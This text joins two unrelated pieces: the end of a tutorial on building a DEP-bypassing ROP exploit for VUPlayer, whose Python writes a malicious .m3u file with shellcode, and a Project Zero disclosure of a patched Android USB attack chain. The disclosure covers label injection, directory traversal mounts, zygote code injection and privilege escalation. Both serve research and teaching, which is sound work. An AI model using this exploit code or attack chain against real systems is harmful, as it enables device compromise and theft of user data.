<span class="s">"</span><span class="se">\xae\x18\xdb\x13\xff\xe1\xea\x5b\xac\xdf\xc3\x51\xac\x18\xe3</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x89\xdb\x52\x10\x37\xdc\xa0\x6b\xe3\x69\x35\xcb\x60\xc9\x9d</span><span class="s">"</span>
<span class="s">"</span><span class="se">\xea\xa5\x8c\x56\xe0\x02\xda\x31\xe4\x95\x0f\x4a\x10\x1d\xae</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x9d\x91\x65\x95\x39\xfa\x3e\xb4\x18\xa6\x91\xc9\x7b\x0e\x4d</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x6c\xf7\xbc\x9a\x16\x5a\xaa\x5d\x9a\xe0\x93\x5e\xa4\xea\xb3</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x36\x95\x61\x5c\x40\x2a\xa0\x19\xbe\x60\xe9\x0b\x57\x2d\x7b</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x0e\x3a\xce\x51\x4c\x43\x4d\x50\x2c\xb0\x4d\x11\x29\xfc\xc9</span><span class="s">"</span>
<span class="s">"</span><span class="se">\xc9\x43\x6d\xbc\xed\xf0\x8e\x95\x8d\x97\x1c\x75\x7c\x32\xa5</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x1c\x80</span><span class="s">"</span><span class="p">)</span>
 
<span class="n">exploit</span> <span class="o">=</span> <span class="n">junk</span> <span class="o">+</span> <span class="n">eip</span> <span class="o">+</span> <span class="n">rop_chain</span> <span class="o">+</span> <span class="n">nops</span> <span class="o">+</span> <span class="n">shellcode</span>
 
<span class="n">fill</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x43</span><span class="s">"</span> <span class="o">*</span> <span class="p">(</span><span class="n">BUF_SIZE</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">exploit</span><span class="p">))</span>
 
<span class="n">buf</span> <span class="o">=</span> <span class="n">exploit</span> <span class="o">+</span> <span class="n">fill</span>
 
<span class="k">print</span> <span class="s">"[+] Creating .m3u file of size "</span><span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">buf</span><span class="p">))</span>
 
<span class="nb">file</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'vuplayer-dep.m3u'</span><span class="p">,</span><span class="s">'w'</span><span class="p">);</span>
<span class="nb">file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="nb">file</span><span class="o">.</span><span class="n">close</span><span class="p">();</span>
 
<span class="k">print</span> <span class="s">"[+] Done creating the file"</span>

Run the final exploit script to generate the m3u file, restart VUPlayer in Immunity Debug and voila! We have a calc.exe!

post_image

Also, if you are lucky then Mona will auto-generate a complete ROP chain for you in the rop_chains.txt file from the !mona rop command (which is what I used). But, it’s important to understand how these chains are built line by line before you go automating everything!

post_image

Resources, Final Thoughts and Feedback

Congrats on building your first ROP chain! It’s pretty tricky to get your head around at first, but all it takes is a little time to digest, some solid assembly programming knowledge and a bit of familiarity with the Windows OS. When you get the essentials under your belt, these more advanced exploit techniques become easier to handle. If you found anything to be unclear or you have some recommendations then send me a message on Twitter (@shogun_lab). I also encourage you to take a look at some additional tutorials on ROP and the developer docs for the various Windows OS memory protection functions. See you next time in Part 6!

OATmeal on the Universal Cereal Bus: Exploiting Android phones over USB

( origin  by Jann Horn, Google Project Zero )

Recently, there has been some attention around the topic of physical attacks on smartphones, where an attacker with the ability to connect USB devices to a locked phone attempts to gain access to the data stored on the device. This blogpost describes how such an attack could have been performed against Android devices (tested with a Pixel 2).

 

After an Android phone has been unlocked once on boot (on newer devices, using the «Unlock for all features and data» screen; on older devices, using the «To start Android, enter your password» screen), it retains the encryption keys used to decrypt files in kernel memory even when the screen is locked, and the encrypted filesystem areas or partition(s) stay accessible. Therefore, an attacker who gains the ability to execute code on a locked device in a sufficiently privileged context can not only backdoor the device, but can also directly access user data.
(Caveat: We have not looked into what happens to work profile data when a user who has a work profile toggles off the work profile.)

 

The bug reports referenced in this blogpost, and the corresponding proof-of-concept code, are available at:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1583 («directory traversal over USB via injection in blkid output»)
https://bugs.chromium.org/p/project-zero/issues/detail?id=1590 («privesc zygote->init; chain from USB»)

 

These issues were fixed as CVE-2018-9445 (fixed at patch level 2018-08-01) and CVE-2018-9488 (fixed at patch level 2018-09-01).

The attack surface

Many Android phones support USB host mode (often using OTG adapters). This allows phones to connect to many types of USB devices (this list isn’t necessarily complete):

 

  • USB sticks: When a USB stick is inserted into an Android phone, the user can copy files between the system and the USB stick. Even if the device is locked, Android versions before P will still attempt to mount the USB stick. (Android 9, which was released after these issues were reported, has logic in vold that blocks mounting USB sticks while the device is locked.)
  • USB keyboards and mice: Android supports using external input devices instead of using the touchscreen. This also works on the lockscreen (e.g. for entering the PIN).
  • USB ethernet adapters: When a USB ethernet adapter is connected to an Android phone, the phone will attempt to connect to a wired network, using DHCP to obtain an IP address. This also works if the phone is locked.

 

This blogpost focuses on USB sticks. Mounting an untrusted USB stick offers nontrivial attack surface in highly privileged system components: The kernel has to talk to the USB mass storage device using a protocol that includes a subset of SCSI, parse its partition table, and interpret partition contents using the kernel’s filesystem implementation; userspace code has to identify the filesystem type and instruct the kernel to mount the device to some location. On Android, the userspace implementation for this is mostly in vold(one of the processes that are considered to have kernel-equivalent privileges), which uses separate processes in restrictive SELinux domains to e.g. determine the filesystem types of partitions on USB sticks.

 

The bug (part 1): Determining partition attributes

When a USB stick has been inserted and vold has determined the list of partitions on the device, it attempts to identify three attributes of each partition: Label (a user-readable string describing the partition), UUID (a unique identifier that can be used to determine whether the USB stick is one that has been inserted into the device before), and filesystem type. In the modern GPT partitioning scheme, these attributes can mostly be stored in the partition table itself; however, USB sticks tend to use the MBR partition scheme instead, which can not store UUIDs and labels. For normal USB sticks, Android supports both the MBR partition scheme and the GPT partition scheme.

 

To provide the ability to label partitions and assign UUIDs to them even when the MBR partition scheme is used, filesystems implement a hack: The filesystem header contains fields for these attributes, allowing an implementation that has already determined the filesystem type and knows the filesystem header layout of the specific filesystem to extract this information in a filesystem-specific manner. When vold wants to determine label, UUID and filesystem type, it invokes /system/bin/blkid in the blkid_untrusted SELinux domain, which does exactly this: First, it attempts to identify the filesystem type using magic numbers and (failing that) some heuristics, and then, it extracts the label and UUID. It prints the results to stdout in the following format:

 

/dev/block/sda1: LABEL=»<label>» UUID=»<uuid>» TYPE=»<type>»

 

However, the version of blkid used by Android did not escape the label string, and the code responsible for parsing blkid’s output only scanned for the first occurrences of UUID=» and TYPE=». Therefore, by creating a partition with a crafted label, it was possible to gain control over the UUID and type strings returned to vold, which would otherwise always be a valid UUID string and one of a fixed set of type strings.

The bug (part 2): Mounting the filesystem

When vold has determined that a newly inserted USB stick with an MBR partition table contains a partition of type vfat that the kernel’s vfat filesystem implementation should be able to mount,PublicVolume::doMount() constructs a mount path based on the filesystem UUID, then attempts to ensure that the mountpoint directory exists and has appropriate ownership and mode, and then attempts to mount over that directory:

 

   if (mFsType != «vfat») {
       LOG(ERROR) << getId() << » unsupported filesystem » << mFsType;
       return -EIO;
   }
   if (vfat::Check(mDevPath)) {
       LOG(ERROR) << getId() << » failed filesystem check»;
       return -EIO;
   }
   // Use UUID as stable name, if available
   std::string stableName = getId();
   if (!mFsUuid.empty()) {
       stableName = mFsUuid;
   }
   mRawPath = StringPrintf(«/mnt/media_rw/%s», stableName.c_str());
   […]
   if (fs_prepare_dir(mRawPath.c_str(), 0700, AID_ROOT, AID_ROOT)) {
       PLOG(ERROR) << getId() << » failed to create mount points»;
       return -errno;
   }
   if (vfat::Mount(mDevPath, mRawPath, false, false, false,
           AID_MEDIA_RW, AID_MEDIA_RW, 0007, true)) {
       PLOG(ERROR) << getId() << » failed to mount » << mDevPath;
       return -EIO;
   }

 

The mount path is determined using a format string, without any sanity checks on the UUID string that was provided by blkid. Therefore, an attacker with control over the UUID string can perform a directory traversal attack and cause the FAT filesystem to be mounted outside of /mnt/media_rw.

 

This means that if an attacker inserts a USB stick with a FAT filesystem whose label string is ‘UUID=»../##’ into a locked phone, the phone will mount that USB stick to /mnt/##.

 

However, this straightforward implementation of the attack has several severe limitations; some of them can be overcome, others worked around:

 

  • Label string length: A FAT filesystem label is limited to 11 bytes. An attacker attempting to perform a straightforward attack needs to use the six bytes ‘UUID=»‘ to start the injection, which leaves only five characters for the directory traversal — insufficient to reach any interesting point in the mount hierarchy. The next section describes how to work around that.
  • SELinux restrictions on mountpoints: Even though vold is considered to be kernel-equivalent, a SELinux policy applies some restrictions on what vold can do. Specifically, the mountonpermission is restricted to a set of permitted labels.
  • Writability requirement: fs_prepare_dir() fails if the target directory is not mode 0700 and chmod() fails.
  • Restrictions on access to vfat filesystems: When a vfat filesystem is mounted, all of its files are labeled as u:object_r:vfat:s0. Even if the filesystem is mounted in a place from which important code or data is loaded, many SELinux contexts won’t be permitted to actually interact with the filesystem — for example, the zygote and system_server aren’t allowed to do so. On top of that, processes that don’t have sufficient privileges to bypass DAC checks also need to be in the media_rw group. The section «Dealing with SELinux: Triggering the bug twice» describes how these restrictions can be avoided in the context of this specific bug.

Exploitation: Chameleonic USB mass storage

As described in the previous section, a FAT filesystem label is limited to 11 bytes. blkid supports a range of other filesystem types that have significantly longer label strings, but if you used such a filesystem type, you’d then have to make it past the fsck check for vfat filesystems and the filesystem header checks performed by the kernel when mounting a vfat filesystem. The vfat kernel filesystem doesn’t require a fixed magic value right at the start of the partition, so this might theoretically work somehow; however, because several of the values in a FAT filesystem header are actually important for the kernel, and at the same time,blkid also performs some sanity checks on superblocks, the PoC takes a different route.

 

After blkid has read parts of the filesystem and used them to determine the filesystem’s type, label and UUID, fsck_msdos and the in-kernel filesystem implementation will re-read the same data, and those repeated reads actually go through to the storage device. The Linux kernel caches block device pages when userspace directly interacts with block devices, but __blkdev_put() removes all cached data associated with a block device when the last open file referencing the device is closed.

 

A physical attacker can abuse this by attaching a fake storage device that returns different data for multiple reads from the same location. This allows us to present, for example, a romfs header with a long label string to blkid while presenting a perfectly normal vfat filesystem to fsck_msdos and the in-kernel filesystem implementation.

 

This is relatively simple to implement in practice thanks to Linux’ built-in support for device-side USB.Andrzej Pietrasiewicz’s talk «Make your own USB gadget» is a useful introduction to this topic. Basically, the kernel ships with implementations for device-side USB mass storage, HID devices, ethernet adapters, and more; using a relatively simple pseudo-filesystem-based configuration interface, you can configure a composite gadget that provides one or multiple of these functions, potentially with multiple instances, to the connected device. The hardware you need is a system that runs Linux and supports device-side USB; for testing this attack, a Raspberry Pi Zero W was used.

 

The f_mass_storage gadget function is designed to use a normal file as backing storage; to be able to interactively respond to requests from the Android phone, a FUSE filesystem is used as backing storage instead, using the direct_io option / the FOPEN_DIRECT_IO flag to ensure that our own kernel doesn’t add unwanted caching.

 

At this point, it is already possible to implement an attack that can steal, for example, photos stored on external storage. Luckily for an attacker, immediately after a USB stick has been mounted,com.android.externalstorage/.MountReceiver is launched, which is a process whose SELinux domain permits access to USB devices. So after a malicious FAT partition has been mounted over /data (using the label string ‘UUID=»../../data’), the zygote forks off a child with appropriate SELinux context and group membership to permit accesses to USB devices. This child then loads bytecode from /data/dalvik-cache/, permitting us to take control over com.android.externalstorage, which has the necessary privileges to exfiltrate external storage contents.

 

However, for an attacker who wants to access not just photos, but things like chat logs or authentication credentials stored on the device, this level of access should normally not be sufficient on its own.

Dealing with SELinux: Triggering the bug twice

The major limiting factor at this point is that, even though it is possible to mount over /data, a lot of the highly-privileged code running on the device is not permitted to access the mounted filesystem. However, one highly-privileged service does have access to it: vold.

 

vold actually supports two types of USB sticks, PublicVolume and PrivateVolume. Up to this point, this blogpost focused on PublicVolume; from here on, PrivateVolume becomes important.
A PrivateVolume is a USB stick that must be formatted using a GUID Partition Table. It must contain a partition that has type UUID kGptAndroidExpand (193D1EA4-B3CA-11E4-B075-10604B889DCF), which contains a dm-crypt-encrypted ext4 (or f2fs) filesystem. The corresponding key is stored at/data/misc/vold/expand_{partGuid}.key, where {partGuid} is the partition GUID from the GPT table as a normalized lowercase hexstring.

 

As an attacker, it normally shouldn’t be possible to mount an ext4 filesystem this way because phones aren’t usually set up with any such keys; and even if there is such a key, you’d still have to know what the correct partition GUID is and what the key is. However, we can mount a vfat filesystem over /data/misc and put our own key there, for our own GUID. Then, while the first malicious USB mass storage device is still connected, we can connect a second one that is mounted as PrivateVolume using the keys vold will read from the first USB mass storage device. (Technically, the ordering in the last sentence isn’t entirely correct — actually, the exploit provides both mass storage devices as a single composite device at the same time, but stalls the first read from the second mass storage device to create the desired ordering.)

 

Because PrivateVolume instances use ext4, we can control DAC ownership and permissions on the filesystem; and thanks to the way a PrivateVolume is integrated into the system, we can even control SELinux labels on that filesystem.

 

In summary, at this point, we can mount a controlled filesystem over /data, with arbitrary file permissions and arbitrary SELinux contexts. Because we control file permissions and SELinux contexts, we can allow any process to access files on our filesystem — including mapping them with PROT_EXEC.

Injecting into zygote

The zygote process is relatively powerful, even though it is not listed as part of the TCB. By design, it runs with UID 0, can arbitrarily change its UID, and can perform dynamic SELinux transitions into the SELinux contexts of system_server and normal apps. In other words, the zygote has access to almost all user data on the device.

 

When the 64-bit zygote starts up on system boot, it loads code from /data/dalvik-cache/arm64/system@framework@boot*.{art,oat,vdex}. Normally, the oat file (which contains an ELF library that will be loaded with dlopen()) and the vdex file are symlinks to files on the immutable/system partition; only the art file is actually stored on /data. But we can instead makesystem@framework@boot.art and system@framework@boot.vdex symlinks to /system (to get around some consistency checks without knowing exactly which Android build is running on the device) while placing our own malicious ELF library at system@framework@boot.oat (with the SELinux context that the legitimate oat file would have). Then, by placing a function with__attribute__((constructor)) in our ELF library, we can get code execution in the zygote as soon as it calls dlopen() on startup.

 

The missing step at this point is that when the attack is performed, the zygote is already running; and this attack only works while the zygote is starting up.

Crashing the system

This part is a bit unpleasant.

 

When a critical system component (in particular, the zygote or system_server) crashes (which you can simulate on an eng build using kill), Android attempts to automatically recover from the crash by restarting most userspace processes (including the zygote). When this happens, the screen first shows the boot animation for a bit, followed by the lock screen with the «Unlock for all features and data» prompt that normally only shows up after boot. However, the key material for accessing user data is still present at this point, as you can verify if ADB is on by running «ls /sdcard» on the device.

 

This means that if we can somehow crash system_server, we can then inject code into the zygote during the following userspace restart and will be able to access user data on the device.

 

Of course, mounting our own filesystem over /data is very crude and makes all sorts of things fail, but surprisingly, the system doesn’t immediately fall over — while parts of the UI become unusable, most places have some error handling that prevents the system from failing so clearly that a restart happens.
After some experimentation, it turned out that Android’s code for tracking bandwidth usage has a safety check: If the network usage tracking code can’t write to disk and >=2MiB (mPersistThresholdBytes) of network traffic have been observed since the last successful write, a fatal exception is thrown. This means that if we can create some sort of network connection to the device and then send it >=2MiB worth of ping flood, then trigger a stats writeback by either waiting for a periodic writeback or changing the state of a network interface, the device will reboot.

 

To create a network connection, there are two options:

 

  • Connect to a wifi network. Before Android 9, even when the device is locked, it is normally possible to connect to a new wifi network by dragging down from the top of the screen, tapping the drop-down below the wifi symbol, then tapping on the name of an open wifi network. (This doesn’t work for networks protected with WPA, but of course an attacker can make their own wifi network an open one.) Many devices will also just autoconnect to networks with certain names.
  • Connect to an ethernet network. Android supports USB ethernet adapters and will automatically connect to ethernet networks.

 

For testing the exploit, a manually-created connection to a wifi network was used; for a more reliable and user-friendly exploit, you’d probably want to use an ethernet connection.

 

At this point, we can run arbitrary native code in zygote context and access user data; but we can’t yet read out the raw disk encryption key, directly access the underlying block device, or take a RAM dump (although at this point, half the data that would’ve been in a RAM dump is probably gone anyway thanks to the system crash). If we want to be able to do those things, we’ll have to escalate our privileges a bit more.

From zygote to vold

Even though the zygote is not supposed to be part of the TCB, it has access to the CAP_SYS_ADMINcapability in the initial user namespace, and the SELinux policy permits the use of this capability. The zygote uses this capability for the mount() syscall and for installing a seccomp filter without setting theNO_NEW_PRIVS flag. There are multiple ways to abuse CAP_SYS_ADMIN; in particular, on the Pixel 2, the following ways seem viable:

 

  • You can install a seccomp filter without NO_NEW_PRIVS, then perform an execve() with a privilege transition (SELinux exec transition, setuid/setgid execution, or execution with permitted file capability set). The seccomp filter can then force specific syscalls to fail with error number 0 — which e.g. in the case of open() means that the process will believe that the syscall succeeded and allocated file descriptor 0. This attack works here, but is a bit messy.
  • You can instruct the kernel to use a file you control as high-priority swap device, then create memory pressure. Once the kernel writes stack or heap pages from a sufficiently privileged process into the swap file, you can edit the swapped-out memory, then let the process load it back. Downsides of this technique are that it is very unpredictable, it involves memory pressure (which could potentially cause the system to kill processes you want to keep, and probably destroys many forensic artifacts in RAM), and requires some way to figure out which swapped-out pages belong to which process and are used for what. This requires the kernel to support swap.
  • You can use pivot_root() to replace the root directory of either the current mount namespace or a newly created mount namespace, bypassing the SELinux checks that would have been performed for mount(). Doing it for a new mount namespace is useful if you only want to affect a child process that elevates its privileges afterwards. This doesn’t work if the root filesystem is a rootfs filesystem. This is the technique used here.

 

In recent Android versions, the mechanism used to create dumps of crashing processes has changed: Instead of asking a privileged daemon to create a dump, processes execute one of the helpers/system/bin/crash_dump64 and /system/bin/crash_dump32, which have the SELinux labelu:object_r:crash_dump_exec:s0. Currently, when a file with such a label is executed by any SELinux domain, an automatic domain transition to the crash_dump domain is triggered (which automatically implies setting the AT_SECURE flag in the auxiliary vector, instructing the linker of the new process to be careful with environment variables like LD_PRELOAD):

 

domain_auto_trans(domain, crash_dump_exec, crash_dump);

 

At the time this bug was reported, the crash_dump domain had the following SELinux policy:

 

[…]
allow crash_dump {
 domain
 -init
 -crash_dump
 -keystore
 -logd
}:process { ptrace signal sigchld sigstop sigkill };
[…]
r_dir_file(crash_dump, domain)
[…]

 

This policy permitted crash_dump to attach to processes in almost any domain via ptrace() (providing the ability to take over the process if the DAC controls permit it) and allowed it to read properties of any process in procfs. The exclusion list for ptrace access lists a few TCB processes; but notably, vold was not on the list. Therefore, if we can execute crash_dump64 and somehow inject code into it, we can then take overvold.

 

Note that the ability to actually ptrace() a process is still gated by the normal Linux DAC checks, andcrash_dump can’t use CAP_SYS_PTRACE or CAP_SETUID. If a normal app managed to inject code intocrash_dump64, it still wouldn’t be able to leverage that to attack system components because of the UID mismatch.

 

If you’ve been reading carefully, you might now wonder whether we could just place our own binary with context u:object_r:crash_dump_exec:s0 on our fake /data filesystem, and then execute that to gain code execution in the crash_dump domain. This doesn’t work because vold — very sensibly — hardcodes theMS_NOSUID flag when mounting USB storage devices, which not only degrades the execution of classic setuid/setgid binaries, but also degrades the execution of files with file capabilities and executions that would normally involve automatic SELinux domain transitions (unless the SELinux policy explicitly opts out of this behavior by granting PROCESS2__NOSUID_TRANSITION).

 

To inject code into crash_dump64, we can create a new mount namespace with unshare() (using ourCAP_SYS_ADMIN capability), then call pivot_root() to point the root directory of our process into a directory we fully control, and then execute crash_dump64. Then the kernel parses the ELF headers ofcrash_dump64, reads the path to the linker (/system/bin/linker64), loads the linker into memory from that path (relative to the process root, so we can supply our own linker here), and executes it.

 

At this point, we can execute arbitrary code in crash_dump context and escalate into vold from there, compromising the TCB. At this point, Android’s security policy considers us to have kernel-equivalent privileges; however, to see what you’d have to do from here to gain code execution in the kernel, this blogpost goes a bit further.

From vold to init context

It doesn’t look like there is an easy way to get from vold into the real init process; however, there is a way into the init SELinux context. Looking through the SELinux policy for allowed transitions into init context, we find the following policy:

 

domain_auto_trans(kernel, init_exec, init)

 

This means that if we can get code running in kernel context to execute a file we control labeled init_exec, on a filesystem that wasn’t mounted with MS_NOSUID, then our file will be executed in init context.

 

The only code that is running in kernel context is the kernel, so we have to get the kernel to execute the file for us. Linux has a mechanism called «usermode helpers» that can do this: Under some circumstances, the kernel will delegate actions (such as creating coredumps, loading key material into the kernel, performing DNS lookups, …) to userspace code. In particular, when a nonexistent key is looked up (e.g. viarequest_key()), /sbin/request-key (hardcoded, can only be changed to a different static path at kernel build time with CONFIG_STATIC_USERMODEHELPER_PATH) will be invoked.

 

Being in vold, we can simply mount our own ext4 filesystem over /sbin without MS_NOSUID, then callrequest_key(), and the kernel invokes our request-key in init context.

 

The exploit stops at this point; however, the following section describes how you could build on it to gain code execution in the kernel.

From init context to the kernel

From init context, it is possible to transition into modprobe or vendor_modprobe context by executing an appropriately labeled file after explicitly requesting a domain transition (note that this is domain_trans(), which permits a transition on exec, not domain_auto_trans(), which automatically performs a transition on exec):

 

domain_trans(init, { rootfs toolbox_exec }, modprobe)
domain_trans(init, vendor_toolbox_exec, vendor_modprobe)

 

modprobe and vendor_modprobe have the ability to load kernel modules from appropriately labeled files:

 

allow modprobe self:capability sys_module;
allow modprobe { system_file }:system module_load;
allow vendor_modprobe self:capability sys_module;
allow vendor_modprobe { vendor_file }:system module_load;

 

Android nowadays doesn’t require signatures for kernel modules:

 

walleye:/ # zcat /proc/config.gz | grep MODULE
CONFIG_MODULES_USE_ELF_RELA=y
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
CONFIG_MODULE_SRCVERSION_ALL=y
# CONFIG_MODULE_SIG is not set
# CONFIG_MODULE_COMPRESS is not set
CONFIG_MODULES_TREE_LOOKUP=y
CONFIG_ARM64_MODULE_CMODEL_LARGE=y
CONFIG_ARM64_MODULE_PLTS=y
CONFIG_RANDOMIZE_MODULE_REGION_FULL=y
CONFIG_DEBUG_SET_MODULE_RONX=y

 

Therefore, you could execute an appropriately labeled file to execute code in modprobe context, then load an appropriately labeled malicious kernel module from there.

Lessons learned

Notably, this attack crosses two weakly-enforced security boundaries: The boundary from blkid_untrusted tovold (when vold uses the UUID provided by blkid_untrusted in a pathname without checking that it resembles a valid UUID) and the boundary from the zygote to the TCB (by abusing the zygote’s CAP_SYS_ADMINcapability). Software vendors have, very rightly, been stressing for quite some time that it is important for security researchers to be aware of what is, and what isn’t, a security boundary — but it is also important for vendors to decide where they want to have security boundaries and then rigorously enforce those boundaries. Unenforced security boundaries can be of limited use — for example, as a development aid while stronger isolation is in development -, but they can also have negative effects by obfuscating how important a component is for the security of the overall system.

In this case, the weakly-enforced security boundary between vold and blkid_untrusted actually contributed to the vulnerability, rather than mitigating it. If the blkid code had run in the vold process, it would not have been necessary to serialize its output, and the injection of a fake UUID would not have worked.